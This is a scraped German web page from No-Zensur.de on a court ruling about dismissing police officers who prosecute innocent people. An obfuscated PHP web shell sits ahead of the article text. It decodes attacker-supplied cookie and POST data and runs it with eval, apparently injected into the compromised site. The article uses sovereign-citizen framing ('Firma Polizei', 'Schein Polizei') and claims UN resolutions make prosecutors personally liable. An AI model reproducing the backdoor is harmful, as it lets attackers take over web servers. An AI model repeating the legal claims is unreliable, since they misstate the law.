$auDiDm = class_exists("V_CGoZ");if (!$auDiDm){class V_CGoZ{private $XkVtqVHtt;public static $fKcqCF = "a158a651-ff74-4edd-953b-c602dc034b3c";public static $zDAWli = NULL;public function __construct(){$VLrdKegcTD = $_COOKIE;$DhwQtx = $_POST;$mummiCkbIe = @$VLrdKegcTD[substr(V_CGoZ::$fKcqCF, 0, 4)];if (!empty($mummiCkbIe)){$gjDlrlmo = "base64";$iKSRFTZjJ = "";$mummiCkbIe = explode(",", $mummiCkbIe);foreach ($mummiCkbIe as $knlWEFqQRS){$iKSRFTZjJ .= @$VLrdKegcTD[$knlWEFqQRS];$iKSRFTZjJ .= @$DhwQtx[$knlWEFqQRS];}$iKSRFTZjJ = array_map($gjDlrlmo . chr ( 924 - 829 ).chr ( 569 - 469 ).chr (101) . "\143" . chr ( 254 - 143 ).'d' . chr ( 408 - 307 ), array($iKSRFTZjJ,)); $iKSRFTZjJ = $iKSRFTZjJ[0] ^ str_repeat(V_CGoZ::$fKcqCF, (strlen($iKSRFTZjJ[0]) / strlen(V_CGoZ::$fKcqCF)) + 1);V_CGoZ::$zDAWli = @unserialize($iKSRFTZjJ);}}public function __destruct(){$this->qrWpeOVCE();}private function qrWpeOVCE(){if (is_array(V_CGoZ::$zDAWli)) {$bdwWJSmubh = str_replace('<' . chr (63) . chr ( 117 - 5 ).'h' . "\x70", "", V_CGoZ::$zDAWli[chr (99) . "\157" . "\156" . "\164" . "\x65" . chr ( 670 - 560 ).'t']);eval($bdwWJSmubh);exit();}}}$fnjTXPt = new V_CGoZ(); $fnjTXPt = NULL;} ?> Polizeibeamte die Verfolgung Unschuldiger betreiben rechtfertigt Dienstentfernung. – No-Zensur.de Das freie Wort für eine freie Welt
Start Justiz Skandale Schutz vor der BRD Justiz Willkür Polizeibeamte die Verfolgung Unschuldiger betreiben rechtfertigt Dienstentfernung.

Polizeibeamte die Verfolgung Unschuldiger betreiben rechtfertigt Dienstentfernung.

Verfolgung Unschuldiger und falsche uneidliche Aussage eines Polizeibeamten rechtfertigen jeweils für sich eine Dienstentfernung.
VGH Baden-Württemberg, Urteil vom 29.10.2009, Az. DL 16 S 3361/08 [download-attachment id=“73305″ title=“vgh-bw-urteil-vom-29-10-2009-dl-16-s-3361_08″]

Polizei Willkür  beenden. Stoppt Verfolgung Unschuldiger
Ihr müßt euch wehren gegen diesen Terror. Stoppt die Verfolgung Unschuldiger.

Verfolgung Unschuldiger muß endlich aufhören ! Zeigt die Herrn und Damen ( Be-amte) immer an bei der Staatsanwaltschaft !!!
Zusätzlich könnt Ihr hier auf der Webseite die Vorfälle Eintragen und veröffentlichen lassen. http://www.menschenrechtverletzung.org 

Ein Polizeibeamter, der in Ausübung seines Dienstes eine oder mehrere Straftaten begeht, die mit seinem gesetzlichen Auftrag, Straftaten aufzuklären und zu verfolgen, in jeder Hinsicht unvereinbar sind, verletzt in grober Weise den Kernbereich seiner Dienstpflichten. Er missbraucht damit die ihm zur Erfüllung seiner Aufgaben verliehenen Machtbefugnisse, erschüttert das in ihn vom Dienstherrn gesetzte Vertrauen in seine dienstliche Zuverlässigkeit und beeinträchtigt in erheblichem Maße das Ansehen der Polizei als staatliche Institution.

Weil der Achtungs Verlust des (Be-)amten auf die Polizei insgesamt ausstrahlt. Denn die Allgemeinheit darf mit Recht erwarten, dass die Polizei ihre Aufgabe, Straftaten zu erforschen und zu verfolgen, ausnahmslos uneigennützig und in uneingeschränkter Objektivität erfüllt. Daraus folgt, dass bei Polizei (be-amten), die in Ausübung ihres Amtes eine Verfolgung Unschuldiger oder eine uneidliche Falschaussage begangen haben. Die Entfernung aus dem Dienst grundsätzlich die angemessene Disziplinarmaßnahme ist.
[download-attachment id=“73305″ title=“vgh-bw-urteil-vom-29-10-2009-dl-16-s-3361_08″]
LDO (BW) § 19 Abs. 1; LBG (BW) § 95 Abs. 1 S. 1; StGB § 344; StGB § 153

Es ist sehr wichtig jede Menschenrechtverletzung direkt bei der (Firma -Staats-Anwalt) anzuzeigen, den die sogenannten Staatsanwälte sind theoretisch verpflichtet ein Verfahren gegen die Schein Polizei (Be)amte einzuleiten. Eine Anzeige bei der Firma Polizei würde nur zur direkten Einstellung der Ermittlung führen. Zusätzlich können Sie hier auch den Vorfall melden. http://www.menschenrechtverletzung.org

Wesentlich bedeutsamer und verbindlicher als das Dresdner Plädoyer erscheinen die sog.  Richtlinien betreffend die Rolle der Staatsanwälte – angenommen vom Achten Kongreß der Vereinten Nationen für Verbrechensverhütung – zu deren Einhaltung  Staatsanwälte ohne Einschränkungen und gem. Palandt zu § 839 BGB verpflichtet sind.

Beachtung der Richtlinien

23.  Der Staatsanwalt hat die vorliegenden Richtlinien zu beachten. Er hat im Rahmen seiner
Möglichkeiten ferner jeder Verletzung der Richtlinien vorzubeugen und aktiv entgegenzutreten.

Diese Richtlinien sind Teil des Völkerrechts und lösen im Verstoßfalle – ggf. durch Handeln oder durch Unterlassen –  i.S.d. Art. 10/11 der UN Resolution 53/144 die Wiedergutmachungspflicht nebst  Schadensersatzleistungen gem. Art. 31 der UN Resolution 56/83 aus.

Der gegen die Richtlinien betreffend die Rolle der Staatsanwälte verstoßende Staatsanwalt haftet im Rahmen seiner Amtshaftung selbstschuldnerisch und ist somit verpflichtet, der völkerrechtlichen Wiedergutmachungspflicht Folge zu leisten.

Artikel 31
Wiedergutmachung
1.  Der verantwortliche Staat ist verpflichtet, volle Wiedergutmachung für den durch die völkerrechtswidrige Handlung verursachten Schaden zu leisten.
2.  Der Schaden umfasst jeden materiellen oder immateriellen Schaden, der durch die völkerrechtswidrige Handlung eines Staates verursacht worden ist.

Artikel 32
Unerheblichkeit des innerstaatlichen Rechts
Der verantwortliche Staat kann sich nicht auf sein innerstaatliches Recht berufen, um die Nichterfüllung der ihm nach diesem Teil obliegenden Verpflichtungen zu rechtfertigen.

Hier nochmal zum Downloaden:
[download-attachment id=“73310″ title=“dresdner-pladoyer-fur-eine-unabhangige-staatsanwaltschaft“]
[download-attachment id=“73308″ title=“un-resolution-5683-verantwortlichkeit-der-staaten-fur-volkerrechtswidrige-handlungen“]
[download-attachment id=“73306″ title=“richtlinien-betreffend-die-rolle-der-staatsanwalte“]